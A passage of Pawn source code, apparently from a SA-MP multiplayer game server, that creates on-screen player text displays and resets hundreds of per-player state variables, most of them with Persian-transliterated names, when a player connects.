	PlayerTextDrawBackgroundColor(playerid, KiloTextDraw[playerid], 255);
	PlayerTextDrawFont(playerid, KiloTextDraw[playerid], 1);
	PlayerTextDrawLetterSize(playerid, KiloTextDraw[playerid], 0.290000, 1.399999);
	PlayerTextDrawColor(playerid, KiloTextDraw[playerid], -1);
	PlayerTextDrawSetOutline(playerid, KiloTextDraw[playerid], 0);
	PlayerTextDrawSetProportional(playerid, KiloTextDraw[playerid], 1);
	PlayerTextDrawSetShadow(playerid, KiloTextDraw[playerid], 1);
	PlayerTextDrawSetSelectable(playerid, KiloTextDraw[playerid], 0);

	/*----------------------------------------------------------------------------*/


	/*----------------------------------------------------------------------------*/


	/*----------------------------------------------------------------------------*/


	WarK[playerid] = CreatePlayerTextDraw(playerid, 420.500000, 238.933319, "Kills: 0");
	PlayerTextDrawLetterSize(playerid, WarK[playerid] , 0.323000, 1.226666);
	//PlayerTextDrawTextSize(playerid, WarK , 0.000000, 0.000000);
	PlayerTextDrawAlignment(playerid, WarK[playerid] , 1);
	PlayerTextDrawColor(playerid, WarK[playerid] , -1);
	PlayerTextDrawSetShadow(playerid, WarK[playerid] , 0);
	PlayerTextDrawSetOutline(playerid, WarK[playerid] , 1);
	PlayerTextDrawFont(playerid, WarK[playerid] , 2);
	PlayerTextDrawSetProportional(playerid, WarK[playerid] , 1);

	/*----------------------------------------------------------------------------*/



	WarDea[playerid] = CreatePlayerTextDraw(playerid, 420.000000, 253.244415, "Deaths: 0");
	PlayerTextDrawLetterSize(playerid, WarDea[playerid] , 0.312000, 1.394665);
	//PlayerTextDrawTextSize(playerid, WarDea , 0.000000, 0.000000);
	PlayerTextDrawAlignment(playerid, WarDea[playerid] , 1);
	PlayerTextDrawColor(playerid, WarDea[playerid] , -1);
	PlayerTextDrawSetShadow(playerid, WarDea[playerid] , 0);
	PlayerTextDrawSetOutline(playerid, WarDea[playerid] , 1);
	PlayerTextDrawFont(playerid, WarDea[playerid] , 2);
	PlayerTextDrawSetProportional(playerid, WarDea[playerid] , 1);

	/*----------------------------------------------------------------------------*/
	WarS[playerid] = CreatePlayerTextDraw(playerid, 420.500000, 268.800018, "Score: 0");
	PlayerTextDrawLetterSize(playerid, WarS[playerid] , 0.332999, 1.413333);
	//PlayerTextDrawTextSize(playerid, WarS , 0.000000, 0.000000);
	PlayerTextDrawAlignment(playerid, WarS[playerid] , 1);
	PlayerTextDrawColor(playerid, WarS[playerid] , -1);
	PlayerTextDrawSetShadow(playerid, WarS[playerid] , 0);
	PlayerTextDrawSetOutline(playerid, WarS[playerid] , 1);
	PlayerTextDrawFont(playerid, WarS[playerid] , 2);
	PlayerTextDrawSetProportional(playerid, WarS[playerid] , 1);

	/*----------------------------------------------------------------------------*/


	/*----------------------------------------------------------------------------*/
	/*
	WarT = CreatePlayerTextDraw(playerid, 421.000000, 305.511077, "Turf:_None");
	PlayerTextDrawLetterSize(playerid, WarT , 0.252999, 1.388444);
	PlayerTextDrawTextSize(playerid, WarT , 0.000000, 0.000000);
	PlayerTextDrawAlignment(playerid, WarT , 1);
	PlayerTextDrawColor(playerid, WarT , -1);
	PlayerTextDrawSetShadow(playerid, WarT , 0);
	PlayerTextDrawSetOutline(playerid, WarT , 1);
	PlayerTextDrawFont(playerid, WarT , 2);
	PlayerTextDrawSetProportional(playerid, WarT , 1);
	*/

	SpeedoTextDraw[playerid] = CreatePlayerTextDraw(playerid, 551.000000, 142.000000, "Speed: 0 Km/h");
	PlayerTextDrawLetterSize(playerid, SpeedoTextDraw[playerid], 0.290000, 1.399999);
	PlayerTextDrawAlignment(playerid, SpeedoTextDraw[playerid], 2);
	PlayerTextDrawColor(playerid, SpeedoTextDraw[playerid], -1);
	PlayerTextDrawSetShadow(playerid, SpeedoTextDraw[playerid], 1);
	PlayerTextDrawSetOutline(playerid, SpeedoTextDraw[playerid], 0);
	PlayerTextDrawBackgroundColor(playerid, SpeedoTextDraw[playerid], 255);
	PlayerTextDrawFont(playerid, SpeedoTextDraw[playerid], 1);
	PlayerTextDrawSetProportional(playerid, SpeedoTextDraw[playerid], 1);

	/*
	SpeedoTextDraw = CreatePlayerTextDraw(playerid, 551.000000, 142.000000, "Speed: 0 Km/h");
	PlayerTextDrawAlignment(playerid, SpeedoTextDraw, 2);
	PlayerTextDrawBackgroundColor(playerid, SpeedoTextDraw, 255);
	PlayerTextDrawFont(playerid, SpeedoTextDraw, 1);
	PlayerTextDrawLetterSize(playerid, SpeedoTextDraw, 0.290000, 1.399999);
	PlayerTextDrawColor(playerid, SpeedoTextDraw, -1);
	PlayerTextDrawSetOutline(playerid, SpeedoTextDraw, 0);
	PlayerTextDrawSetProportional(playerid, SpeedoTextDraw, 1);
	PlayerTextDrawSetShadow(playerid, SpeedoTextDraw, 1);

	*/
	/*----------------------------------------------------------------------------*/

	FuelTextDraw[playerid] = CreatePlayerTextDraw(playerid, 552.000000, 131.000000, "Fuel: ~R~99%");
	PlayerTextDrawLetterSize(playerid, FuelTextDraw[playerid], 0.290000, 1.399999);
	PlayerTextDrawAlignment(playerid, FuelTextDraw[playerid], 2);
	PlayerTextDrawColor(playerid, FuelTextDraw[playerid], -1);
	PlayerTextDrawSetShadow(playerid, FuelTextDraw[playerid], 1);
	PlayerTextDrawSetOutline(playerid, FuelTextDraw[playerid], 0);
	PlayerTextDrawBackgroundColor(playerid, FuelTextDraw[playerid], 255);
	PlayerTextDrawFont(playerid, FuelTextDraw[playerid], 1);
	PlayerTextDrawSetProportional(playerid, FuelTextDraw[playerid], 1);

	/*
	FuelTextDraw = CreatePlayerTextDraw(playerid, 552.000000, 131.000000, "Fuel: ~y~%");
	PlayerTextDrawAlignment(playerid, FuelTextDraw, 2);
	PlayerTextDrawBackgroundColor(playerid, FuelTextDraw, 255);
	PlayerTextDrawFont(playerid, FuelTextDraw, 1);
	PlayerTextDrawLetterSize(playerid, FuelTextDraw, 0.290000, 1.399999);
	PlayerTextDrawColor(playerid, FuelTextDraw, -1);
	PlayerTextDrawSetOutline(playerid, FuelTextDraw, 0);
	PlayerTextDrawSetProportional(playerid, FuelTextDraw, 1);
	PlayerTextDrawSetShadow(playerid, FuelTextDraw, 1);
	*/
	/*----------------------------------------------------------------------------*/
	JailTextDraw[playerid] = CreatePlayerTextDraw(playerid, 305.000000, 425.000000, "");
	PlayerTextDrawAlignment(playerid, JailTextDraw[playerid], 2);
	PlayerTextDrawBackgroundColor(playerid, JailTextDraw[playerid], 255);
	PlayerTextDrawFont(playerid, JailTextDraw[playerid], 3);
	PlayerTextDrawLetterSize(playerid, JailTextDraw[playerid], 0.390000, 2.000000);
	PlayerTextDrawColor(playerid, JailTextDraw[playerid], -1);
	PlayerTextDrawSetOutline(playerid, JailTextDraw[playerid], 1);
	PlayerTextDrawSetProportional(playerid, JailTextDraw[playerid], 1);
	PlayerTextDrawSetSelectable(playerid, JailTextDraw[playerid], 0);

	//KillTimer(OthTimers[playerid]);
	pDrunkLevelLast[playerid] = 0;
	pFPS[playerid] = 0;
	ASAR[playerid] = 0;
	HSAR[playerid] = 0;
	//ReportMide[playerid] = 0;
	//HelpmeMide[playerid] = 0;
	TestVR[playerid] = 0;
	FararTimeEx[playerid] = 0;
	FararTime[playerid] = 0;
	ImFararing[playerid] = 0;
	GunGereftam[playerid] = 0;
	PrisonOutWarn[playerid] = 0;
	ImInPrison[playerid] = 0;
	AzadShode[playerid] = 0;
	EventBannedPlayer[playerid] = 0;
	EventPlayerEx[playerid] = 0;
	ReqMyEventID[playerid] = 9999;
	ReqEventID[playerid] = false;
	ReqPrize[playerid] = 0;
	ReqType[playerid] = 0;
	ReqInt[playerid] = 0;
	ReqHamkar[playerid] = 9999;
	ReqMinLevel[playerid] = 1;
	ReqMaxLevel[playerid] = 200;
	BossSpawn[playerid] = false;
	CheColor1[playerid] = 9999;
	CheColor2[playerid] = 9999;
	CheghadrPool[playerid] = 0;
	ControleTun[playerid] = 0;
	ImInTuning[playerid] = 0;
	BayadPoolBedam[playerid] = 0;
	OnDuel[playerid] = INVALID_PLAYER_ID;
	DuelWith[playerid] = INVALID_PLAYER_ID;
	DuelBy[playerid] = 0;
	IMined[playerid] = 0;
	ImMining[playerid] = 0;
	EnteredName[playerid] = "**";
	EnteredRef[playerid] = 0;
	WhoKill[playerid] = 0;
	ImInSafeZone[playerid] = 0;
	ImInJump[playerid] = 0;
	HostageTime[playerid] = 0;
    ManHostageAm[playerid] = 9999;
    ManHostageDaram[playerid] = 9999;
	UFOSavar[playerid] = 0;
	GunVIPx[playerid] = 0;
	MyState[playerid] = 9999;
	ImInTurfEx[playerid] = -1;
	ShouldKill[playerid] = 0;
	SZShow[playerid] = 0;
	UnAttachNasho[playerid] = 1;
	ImEnteredGame[playerid] = 0;
	ImInTurfWhat[playerid] = 9999;
	DoingNaft[playerid] = 0;
	OilExport[playerid] = 0;
	OilInHand[playerid] = 0;
	IHaveBuffs[playerid] = 0;
	CantHoldGun[playerid] = 0;
	MightyM4Timer[playerid] = 0;
	MightyDeagleTimer[playerid] = 0;
	MightyMP5Timer[playerid] = 0;
	DeadlyM4Timer[playerid] = 0;
	DeadlyDeagleTimer[playerid] = 0;
	DeadlyMP5Timer[playerid] = 0;
	LessDamagedTimer[playerid] = 0;
	ExtraDamage1Timer[playerid] = 0;
	ExtraDamage2Timer[playerid] = 0;
	ExtraDamage3Timer[playerid] = 0;
	LuckyTimeTimer[playerid] = 0;
	BossTDShowed[playerid] = false;
	BGMode[playerid] = 0;
	olDSkin[playerid] = 0;
	myBG[playerid] = INVALID_PLAYER_ID;
	ImBG[playerid] = INVALID_PLAYER_ID;
	RequestedBG[playerid] = INVALID_PLAYER_ID;
	BGFee[playerid] = 0;
	WhichSkinI[playerid] = 0;
	ShouldntKick[playerid] = 0;
	ConnectIPFl[playerid] = 0;
	covername[playerid] = 0;
	silent[playerid] = 0;
	airplane[playerid] = 0;
	onnametag[playerid] = 0;
	BizBZ[playerid] = 0;
	NCShowed[playerid] = 0;
	CanYES[playerid] = 0;
	TahtName[playerid] = " ";
	TheQuestion[playerid] = " ";
	TheAnswer[playerid] = " ";
	WhatEmail[playerid] = " ";
	QuestionX[playerid] = " ";
	AnswerX[playerid] = " ";
	ImInCP[playerid] = 0;
	MyBardashtedPool[playerid] = 0;
	ImPickingUp[playerid] = 0;
	ICanVoteForRob[playerid] = 0;
	WarnsForEnter[playerid] = 0;
	ImInAreaLS[playerid] = 0;
	ImInSection[playerid] = 0;
	HeadCounter[playerid] = 0;
	CouldUseCMD[playerid] = 0;
	LastMessageWarned[playerid] = " ";
	ChatColor[playerid] = 0;
	MOWED[playerid] = 0;
	Dozdidam[playerid] = 0;
	Dozdidan[playerid] = 0;
	ImDrived[playerid] = 0;
	DrinkAbout[playerid] = 0;
	Drinking[playerid] = 0;
	Usable[playerid] = 0;
	ATWarns[playerid] = 0;
	Robbing[playerid] = 0;
	PCoolDown[playerid] = 0;
	PIN1ZadamNew[playerid] = 9999;
	PIN2ZadamNew[playerid] = 9999;
	PIN3ZadamNew[playerid] = 9999;
	PIN4ZadamNew[playerid] = 9999;
	PIN1Zadam[playerid] = 9999;
	PIN2Zadam[playerid] = 9999;
	PIN3Zadam[playerid] = 9999;
	PIN4Zadam[playerid] = 9999;
	MitooneCancelKone[playerid] = 0;
	ChandAdadZadam[playerid] = 0;
	Pinning[playerid] = 9999;
	DesyncCount[playerid] = 0;
	AdminCheckedMSG[playerid] = 0;
	DisableDWarning[playerid] = 1;
	SyncCoolDown[playerid] = 0;
	ShowedForMEUPD[playerid] = 0;
	InvalidClient[playerid] = false;
	MyCmdSpams[playerid] = 0;
	IsReported[playerid] = 0;
	IsHelpmed[playerid] = 0;
	IsOnReport[playerid] = 0;
	IsOnHelpme[playerid] = 0;
	AnsweringReport[playerid] = 0;
	AnsweringHelpme[playerid] = 0;
	ISelectedWhat[playerid] = 9999;
	ImAddingNew[playerid] = 0;
	ICanHackWanted[playerid] = 0;
	ICanFree[playerid] = 0;
	ImHackedGates[playerid] = 0;
	CanHackFind[playerid] = 0;
	NoFindMeHacker[playerid] = 0;
	HackingNumber[playerid] = 0;
	HackingNumberMin[playerid] = 0;
	HackingNumberMax[playerid] = 0;
	MyLastSkin[playerid] = 9999;
	MyLastColor[playerid] = 9999;
	HackerCovered[playerid] = 0;
	HamleDrugs[playerid] = 0;
	WhoIsMissioner[playerid] = 0;
	AllowToPickupDrug[playerid] = 0;
	GramsIllicit[playerid] = 0;
	WhichSelected[playerid] = 0;
	UsedOrNot[playerid] = 0;
	CodeRespect[playerid] = 0;
	CodeLevel[playerid] = 0;
	CodeMoney[playerid] = 0;
	CodeGold[playerid] = 0;
	BajjeToggle[playerid] = 1;
	AutoSleepZade[playerid] = 0;
	BayadPublish[playerid] = 0;
	MikhadPollPublic[playerid] = 0;
	MikhadPollPrivate[playerid] = 0;
	//HoolooBepparTooGaloo[playerid] = 0;
	CheatsCount[playerid] = 0;
    cheatcode1[playerid] = 0;
    cheatcode2[playerid] = 0;
    cheatcode3[playerid] = 0;
    cheatcode4[playerid] = 0;
    cheatcode5[playerid] = 0;
    cheatcode6[playerid] = 0;
    cheatcode7[playerid] = 0;
    cheatcode8[playerid] = 0;
    cheatcode9[playerid] = 0;
    cheatcode10[playerid] = 0;
    cheatcode11[playerid] = 0;
    cheatcode12[playerid] = 0;
    cheatcode13[playerid] = 0;
    cheatcode14[playerid] = 0;
    cheatcode15[playerid] = 0;
    cheatcode16[playerid] = 0;
    cheatcode17[playerid] = 0;
    cheatcode18[playerid] = 0;
    cheatcode19[playerid] = 0;
    cheatcode20[playerid] = 0;
    cheatcode21[playerid] = 1;
    cheatcode22[playerid] = 0;
    cheatcode23[playerid] = 0;
    cheatcode24[playerid] = 0;
    cheatcode25[playerid] = 0;
    cheatcode26[playerid] = 0;
    cheatcode27[playerid] = 0;
    cheatcodefly[playerid] = 0;
    cheatcodefly2[playerid] = 0;
	//BoroRange[playerid] = 0;
	//AdminElamShod[playerid] = 0;
	//HelperElamShod[playerid] = 0;
	//LeaderElamShod[playerid] = 0;
	//AdminElamShod2[playerid] = 0;
	//HelperElamShod2[playerid] = 0;
	//LeaderElamShod2[playerid] = 0;
	//YeCheckKon[playerid] = 0;
	ANickDare[playerid] = 0;
	MapClick[playerid] = 0;
	ManKardam1[playerid] = 0;
	ManKardam2[playerid] = 0;
	WantedMin[playerid] = 0;
	WantedSec[playerid]= 0;
	ManKardam3[playerid] = 0;
	ManKardam4[playerid] = 0;
	ManKardam5[playerid] = 0;
	//TooMargGoshne[playerid] = 0;
	//TooMargTeshne[playerid] = 0;
	shodbaw[playerid] = 0;
	shodbaw2[playerid] = 0;
	//MizaneGoshnegi[playerid] = 10;
	//MizaneTeshnegi[playerid] = 10;
	//okshodeweap[playerid] = 0;
	//okshodeveh[playerid] = 0;
	//okshodeweapz[playerid] = 0;
	//okshodevehz[playerid] = 0;
	//lotfkonybr[playerid] = 0;
	//lotfkonybrz[playerid] = 0;
	dialogbet[playerid] = 0;
	poolebetshode[playerid] = 0;
	cooldownbet[playerid] = 0;
	CanBet[playerid] = 0;
	freezeonbet[playerid] = 0;
	freezeonbetv[playerid] = 0;
	ghghz[playerid] = 0;
	AutoJet[playerid] = 0;
	AutoGM[playerid] = 0;
	EventB[playerid] = 0;
	FPSShow[playerid] = 0;
	GPSShow[playerid] = 0;
	HPShow[playerid] = 0;
	PINGShow[playerid] = 0;
	JMikhad[playerid] = 0;
	BBoxDare[playerid] = 0;
	BBoxDareG[playerid] = 0;
	BBoxDid[playerid] = 0;
	InSleep[playerid] = 0;
	MusicAll[playerid] = 0;
	Eynaki[playerid] = 0;
	pindare[playerid] = 0;
	Adplayer[playerid] = 0;
	RobBug[playerid] = 0;
	buyskins[playerid] = 0;
	GodmodeFeature[playerid] = false;
	SecRanger[playerid] = false;
	RangerKir[playerid] = 0;
	FlyMikone[playerid] = 0;
	NoGoto[playerid] = 0;
//	NoWh[playerid] = false;
	NoTP[playerid] = 0;
	NoPM[playerid] = 0;
	EventPlayer[playerid] = 0;
	EventBan[playerid] = false;
	if(GodmodeFeatureS) GodmodeFeature[playerid] = true;

	CPT[playerid] = 0;
	InfoSkate[playerid][sActive] = false;
	DestroyDynamicObject(InfoSkate[playerid][sSkate]);
	RemovePlayerAttachedObject(playerid,INDEX_SKATE);
	ModShopS[playerid] = 0;
	HideTag[playerid] = 0;
	IsMulti[playerid] = 0;
	AutoHelti[playerid] = 1000;
	ReportTimer[playerid] = 0;
	HelpTimer[playerid] = 0;
	GetPlayerName(playerid,PlayerInfo[playerid][pName],40);
	CheatPiz[playerid] = 0;
	//RadarSS[playerid] = 0;
	//RadarChecked[playerid] = 0;
	//RadarTimer[playerid] = 0;
	Fur[playerid] = 0;
	OnFur[playerid]  = 0;

	if(SpeedTimerUsed[playerid] == true)
	{
	   SpeedTimerUsed[playerid] = false;
	   KillTimer(SpeedTimer[playerid]);
	}
	if(WeaponTimeRunning[playerid] == true) {KillTimer(CheckWeaponTime[playerid]); WeaponTimeRunning[playerid] = false;}
	KillTimer(PaymecTime[playerid]);
	KillTimer(HealthTimer[playerid]);
	//KillTimer(GoshneTimer[playerid]);
	//KillTimer(TeshneTimer[playerid]);
	if(AntiKoonHack[playerid] && PINFO[playerid][pTut] == 1 && gPlayerLogged[playerid] == 1)
	{
	   KillTimer(AntiKoonHack[playerid]);
	}
	if(KickLoginUsed[playerid] == true)
	{
	   if(KickLogin[playerid]!=0)
	   {
	   KillTimer(KickLogin[playerid]);
	   KickLogin[playerid]=0;
	   }
	   KickLoginUsed[playerid] = false;
	}

	UseDrugp[playerid] = 0;
	CCID[playerid] = 0;
	CBB[playerid] = 0;

	PPG[playerid] = 0;
	PPD[playerid] = 0;
	PPA[playerid] = 0;
	RRP[playerid] = 0;
	RRG[playerid] = 0;

	hanuzna[playerid] = 0;

	TDD[playerid] = 1;
	Refueling[playerid] = 0;
	NSH[playerid] = 1;
	InModShop[playerid] = 0;
	Specer[playerid] = 9999;
	SpecOnt[playerid] = 9999;
	DestroyDynamicObject(test1);
	DestroyDynamicObject(test2);

	for(new i = 0;i<Akharish;i++) {
	if(Specer[i] == playerid) {
	Specer[i] = 9999;
	}
	}
	Specer[playerid] = 9999;
	SpecOnt[playerid] = 9999;



	OnTestMashine[playerid] = 0;
	DarsadPlayer[playerid] = 0;
	OnSpray[playerid] = 0;

	hanuzna[playerid] = 0;
	GetPlayerIp(playerid,PINFO[playerid][pIp],100);
	//GetPlayerIp(playerid,PINFO[playerid][pAutoIP],100);
	Defind[playerid] = 0;
	nfind[playerid] = 0;
	Jammer[playerid] = 0;
	MultiWarn[playerid] = 1;
	JoinWarn[playerid] = 1;
	QuitWarn[playerid] = 1;
	SuckGhofl[playerid] = 0;
	Cancele[playerid] = 0;
	rV[playerid] = 1;
	roV[playerid] = 0;
	AimbotWarnings[playerid] = 0;
	Wait[playerid] = 0;
	SpecColor[playerid] = 0;
	InBasket[playerid] = 0;
	FlyHack[playerid] = 0;
	BasketScore[playerid] = 0;

	AdadPin[playerid] = 0;
	for(new i = 0;i<46;i++) ACKolang[playerid][i] = true;
	CountDeaths[ playerid ] = 0, StartDeathTick[ playerid ] = 0;
	ResetPlayerKolang(playerid);
	PlayDeathingCameraE[playerid] = false;
	//TimerRunning[playerid] = false;
	OldCar[playerid] = INVALID_VEHICLE_ID;
	for(new i = 0;i<11;i++) SetPlayerSkillLevel(playerid, i, 999);
	adtextplayer[playerid][0] = '\0';
	RentedVehicle[playerid] = INVALID_PLAYER_ID;
	MatGet[playerid] = 0;
	AccGun[playerid] = 0;
	AccRefill[playerid] = 0;
	AccDrugs[playerid] = 0;
	AccRepair[playerid] = 0;
	Goto[playerid] = 9999;
	OnPaintBall[playerid] = 0;
	OnFreeze[playerid] = 0;
	Specer[playerid] = 9999;
	SpecOnt[playerid] = 9999;
	PaintBallKills[playerid] = 0;
	PaintBallDeath[playerid] = 0;
	unsentwep[playerid] = 0;
	CmdLocked[playerid] = false;
	CarRadioPlayed[playerid] = false;
	WeaponTimeRunning[playerid] = false;
	LockAcc[playerid] = 1;
	TeadadPlayers ++;
	if(playerid >= Akharish) Akharish = playerid+1;
	if(TeadadPlayers >= MostPlayersOnline)
	{
	   MostPlayersOnline = TeadadPlayers;
	   new year,month,day,hour,minute,sec;
	   #pragma unused sec
	   gettime(hour,minute,sec);
	   getdate(year,month,day);
	   format(DateOfRekord,60,"%s%d.%s%d.%s%d %s%d:%s%d",(year < 10) ? ("0") : (""),year,(month < 10) ? ("0") : (""),month,(day < 10) ? ("0") : (""),day,(hour < 10) ? ("0") : (""),hour,(minute < 10) ? ("0") : (""),minute);
	   SaveStuff();
	   ReadAccountBar();
 }
	Specing[playerid] = 0;
	OnRentMashinMessage[playerid] = false;
	for(new i = 0;i<3;i++) {GoBack[playerid][i] = 0;}
	for(new i = 0;i<5;i++) {GoBack1[playerid][i] = 0;}

	TextDrawShowForPlayer(playerid,AccountBar);



	/*----------------------------------------------------------------------------*/
	/*----------------------------------------------------------------------------*/



	//======================================================================
	RobMemberCount[playerid] = 0;
	AFKTime[playerid] = 0;
	OnRob[playerid] = false;
	Reported[playerid] = INVALID_PLAYER_ID;
	Helpme[playerid] = INVALID_PLAYER_ID;
	RobLeader[playerid] = false;
	RobDriver[playerid] = INVALID_PLAYER_ID;
	OnStopSpecing[playerid] = false;
	HelpmeText[playerid][0] = '\0';
	ReportText[playerid][0] = '\0';
	TDShowedSpeedo[playerid] = false;
	TDShowedFuel[playerid] = false;
	TDShowedKilo[playerid] = false;
	TDShowedLock[playerid] = false;
	for(new i = 0;i<MAX_PLAYERS;i++)
	{
	   RobMember[playerid][i] = INVALID_PLAYER_ID;
	}
	for(new z = 0;z<3;z++) TelePos2[playerid][z] = 0.0;
	AgentHiterID[playerid] = INVALID_PLAYER_ID;
	TimerAnnouncer[playerid] = 0;
	Ghatel[playerid] = INVALID_PLAYER_ID;
	GhatelWanted[playerid] = 0;
	strdel(CrimeText[playerid], 0, 100);
	IsPlayerDeath[playerid] = false;
	OnEnteringVeh[playerid] = 0;
	CallCost[playerid] = 0;
	CellTime[playerid] = 90;
	OnEnteringVehPlay[playerid] = INVALID_PLAYER_ID;
	Specing2[playerid] = 0;
	Koon[playerid] = 100.0;
	OwnableCarMethod[playerid] = 0;
	Zereh[playerid] = 0;
	PBANNED[playerid] = 0;
	AgentHitID[playerid] = INVALID_PLAYER_ID;
	PlayerOnDeathingE[playerid] = false;
	AgentContractID[playerid] = INVALID_PLAYER_ID;
	ContractID[playerid] = INVALID_PLAYER_ID;
	HealthAllowedForPlayer[playerid] = 0;
	OnKarting[playerid] = 0;
	KartingPlayerTime[playerid] = 0;
	TogEvent[playerid] = false;
	RequestSelected[playerid] = false;// Fixed by Sina ;)
	gPlayerLogTries[playerid] = 0;
	adtimerplayer[playerid] = 0;
	if(PlayerInfo[playerid][pJailTime] <= 1) {
	OnCheckpoint[playerid] = 0;
	}
	PlayerRespawned[playerid] = 0;
	HitmanTofangPackage[playerid] = 0;
	ReferralID[playerid] = 0;
	TelportEtela[playerid][0] = 0; TelportEtela[playerid][1] = 0;TelportEtela[playerid][2] = 9999;TelportEtela[playerid][3] = 9999;TelportEtela[playerid][4] = 9999;
	TelportEtela2[playerid][0] = 0; TelportEtela2[playerid][1] = 0;TelportEtela2[playerid][2] = 9999;TelportEtela2[playerid][3] = 9999;TelportEtela2[playerid][4] = 9999;
	PhoneOnline[playerid] = 1; HidePM[playerid] = 0; SpawnChange[playerid] = 1; AFK[playerid] = 0; CallWaiting[playerid] = 9999; TimerRingTone[playerid] = 0;
	SelectCharID[playerid] = 170; SelectCharPlace[playerid] = 0; ChosenSkin[playerid] = 170; PlayerStyle[playerid] = 0;
	PINFO[playerid][pID] = 0;
	PINFO[playerid][pHelper] = 0;
	EventReward[playerid] = 0;
	strmid(EventTime[playerid],"00:00",0,strlen("00:00"),20);
	strmid(EventLocation[playerid],"HichJa",0,strlen("HichJa"),60);
	strmid(EventDesc[playerid],"KooFT",0,strlen("KooFT"),80);
	strmid(EventTitle[playerid],"Hichi",0,strlen("Hichi"),60);
	EventID[playerid] = 9999;
	ApprovedLawyer[playerid] = 0; CallLawyer[playerid] = 0; WantLawyer[playerid] = 0;
	UsedFind[playerid] = 0; AnimPlay[playerid] = 0;
	CP[playerid] = 0; SpawnChange[playerid] = 1; RCP[playerid] = 0;
	RcS[playerid] = 0;
	IWantMechanic[playerid] = 0; UseAtm[playerid] = 0; AtmTime[playerid] = 0;
	MoneyMessage[playerid] = 0;
	HLapTop[playerid] = false;
	maptpallow[playerid] = 0;
	RepairOffer[playerid] = INVALID_PLAYER_ID; RepairPrice[playerid] = 0; RepairCar[playerid] = 0;
	TalkingLive[playerid] = 255; LiveOffer[playerid] = INVALID_PLAYER_ID; TakingLesson[playerid] = 0; TakingsiLesson[playerid] = 0; HealthAllowedForPlayer[playerid] = 0;
	RefillOffer[playerid] = INVALID_PLAYER_ID; RefillPrice[playerid] = 0; SellApproval[playerid] = 9999;
	DrugOffer[playerid] = INVALID_PLAYER_ID; PlayerCuffed[playerid] = 0; PlayerCuffedTime[playerid] = 0; BuyApproval[playerid] = 9999;
	DrugPrice[playerid] = 0;

	MatxPrice[playerid] = 0;
	MatxOffer[playerid] = INVALID_PLAYER_ID;
	MatxGram[playerid] = 0;

	BoxxPrice[playerid] = 0;
	BoxxOffer[playerid] = INVALID_PLAYER_ID;
	BoxxGram[playerid] = 0;

	sHealPrice[playerid] = 0;
	sHealOffer[playerid] = INVALID_PLAYER_ID;
	TurfShow[playerid] = 0;
	ClantShow[playerid] = 0;
	DrugGram[playerid] = 0; gNewb[playerid] = 0;
	MedicTime[playerid] = 0; NeedMedicTime[playerid] = 0; MedicBill[playerid] = 0;
	KickLoginUsed[playerid] = false;
	WantedPoints[playerid] = 0;
	OnDuty[playerid] = 0; WantedLevel[playerid] = 0;
	ChangePos2[playerid][1] = 0;SchoolSpawn[playerid] = 0; TaxiSpawn[playerid] = 0;
	TransportDuty[playerid] = 0;
	TaxiCallTime[playerid] = 0; MedicCallTime[playerid] = 0; MechanicCallTime[playerid] = 0;
	FindTimePoints[playerid] = 0; FindTime[playerid] = 0; JobDuty[playerid] = 0; MedicDuty[playerid] = 0; IWantTaxi[playerid] = 0;
	Mobile[playerid] = 9999; Music[playerid] = 0; DrugSell[playerid] = INVALID_PLAYER_ID;
	IAcceptTaxi[playerid] = 0;
	ApprovalPriceOffer[playerid] = 0;
	SellFree[playerid] = 9999; BuyFree[playerid] = 9999;
	FreePriceOffer[playerid] = 0;
	SellHFree[playerid] = 9999; BuyHFree[playerid] = 9999;
	HFreePriceOffer[playerid] = 0;
	IsSmoking[playerid] = 0; UsingSmokeAnim[playerid] = 0;
	gLastCar[playerid] = 0; IWantMedic[playerid] = 0;
	gOoc[playerid] = 0; gNews[playerid] = 0; BigEar[playerid] = 0; gDice[playerid] = 0; gFam[playerid] = 0;
	PPos[playerid][2] = 0; PPos[playerid][1] = 0; PPos[playerid][0] = 0;
	gPlayerLogged[playerid] = 0; gPlayerLogTries[playerid] = 0;
	gPlayerSpawned[playerid] = 0;
	PlayerTazeTime[playerid] = 0;
	StartTime[playerid] = 0; TicketOffer[playerid] = 9999; TicketMoney[playerid] = 0;
	MatsHolding[playerid] = 0; TutTime[playerid] = 0; TutTime1[playerid] = 0;
	TaxiAccepted[playerid] = INVALID_PLAYER_ID;
	PlayerInfo[playerid][pCash] = 0; NoFuel[playerid] = 0;
	TransportValue[playerid] = 0; TransportMoney[playerid] = 0; TransportTime[playerid] = 0; TransportCost[playerid] = 0; TransportDriver[playerid] = INVALID_PLAYER_ID;
	WatchingTV[playerid] = 0;
	ProposeOffer[playerid] = INVALID_PLAYER_ID; MarryWitness[playerid] = INVALID_PLAYER_ID; MarryWitnessOffer[playerid] = INVALID_PLAYER_ID; MarriageCeremoney[playerid] = 0; ProposedTo[playerid] = INVALID_PLAYER_ID; GotProposedBy[playerid] = INVALID_PLAYER_ID; DivorceOffer[playerid] = INVALID_PLAYER_ID;
	gEngine[playerid] = 0; KnockedDown[playerid] = 0;
	OwnableCarOffer[playerid] = INVALID_PLAYER_ID; OwnableCarID[playerid] = 0; OwnablePriceModel[playerid] = 0; BlindFold[playerid] = 0;
	CreatingGun[playerid] = 0; CreatingGunAmmo[playerid] = 0; CreatingGunPrice[playerid] = 0; IsPuttingMaterials[playerid] = 0; IsTakingGun[playerid] = 0;
	gPlayerAnimLibsPreloaded[playerid] = 0;
	unsentwep[playerid] = 0;
	OnSpeedc[playerid] = 0;
	SpeedTimerUsed[playerid] = false;
	SpeedTimer[playerid] = 0;
	killsattacker[playerid] = 0;
	deathsattacker[playerid] = 0;
	killskhod[playerid] = 0;
	deathskhod[playerid] = 0;


	OnWar[playerid] = 9999;
	wepidw[playerid] = 0;
	Ammom[playerid] = 0;
	OnSpecPlayer[playerid] = 9999;
	strmid(Megaphonetext[playerid], "Do You Surrender? || Aya taslimi? || Stop or get wanteds", 0, strlen("Do You Surrender? || Aya taslimi? || Stop or get wanteds"), 255);
	PlayerSetFreq[playerid] = "0.0";
	KeyDade[playerid] = 9999;
	KeyDade_2[playerid] = 9999;
	IHaveKey[playerid] = 0;
	IHaveKey_2[playerid] = 0;
	IHaveKey_3[playerid] = 0;
	IHaveKey_4[playerid] = 0;
	PlayerFahmid[playerid] = 0;
	Cheating2[playerid] = 0;
	towtimer[playerid] = 0;
	newstimer[playerid] = 0;
	boxtimer[playerid] = 0;
	jettimer[playerid] = 0;
	//dozditimer[playerid] = 0;
	farartimer[playerid] = 0;
	dozdshodetimer[playerid] = 0;
	dytimer[playerid] = 0;
	tnttimer[playerid] = 0;
	vvehtimer[playerid] = 0;
	vhptimer[playerid] = 0;
